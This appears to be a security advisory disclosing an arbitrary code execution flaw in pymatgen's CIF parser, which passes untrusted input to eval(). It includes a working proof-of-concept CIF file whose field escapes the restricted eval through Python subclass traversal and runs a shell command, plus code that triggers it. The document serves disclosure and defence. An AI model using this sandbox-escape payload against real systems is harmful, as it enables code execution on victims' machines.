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This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.\n\n### Details\nThe cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`.\n\n#### Vulnerable code\n\n```py\nbasis_change = [\n    re.sub(r\"(?<=\\w|\\))(?=\\() | (?<=\\))(?=\\w) | (?<=(\\d|a|b|c))(?=([abc]))\", r\"*\", string, flags=re.X)\n    for string in basis_change\n]\n\"\"\"snip\"\"\"\n([eval(x, {\"__builtins__\": None}, {\"a\": a, \"b\": b, \"c\": c}) for x in basis_change])\n```\n\nThe use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.\n\n### PoC\n\nThe vulnerability can be exploited as follows:\n\nCreate a file `vuln.cif` with the following contents:\n\n```\ndata_5yOhtAoR\n_audit_creation_date            2018-06-08\n_audit_creation_method          \"Pymatgen CIF Parser Arbitrary Code Execution Exploit\"\n\nloop_\n_parent_propagation_vector.id\n_parent_propagation_vector.kxkykz\nk1 [0 0 0]\n\n_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[\"__sub\" + \"classes__\"]) () if d.__name__ == \"BuiltinImporter\"][0].load_module (\"os\").system (\"touch pwned\");0,0,0'\n\n\n_space_group_magn.number_BNS  62.448\n_space_group_magn.name_BNS  \"P  n'  m  a'  \"\n```\n\nThen, parse the cif file with the following code:\n```py\nfrom pymatgen.io.cif import CifParser\nparser = CifParser(\"vuln.cif\")\nstructure = parser.parse_structures()\n```\n\n### Credits\n\nThis vulnerability was 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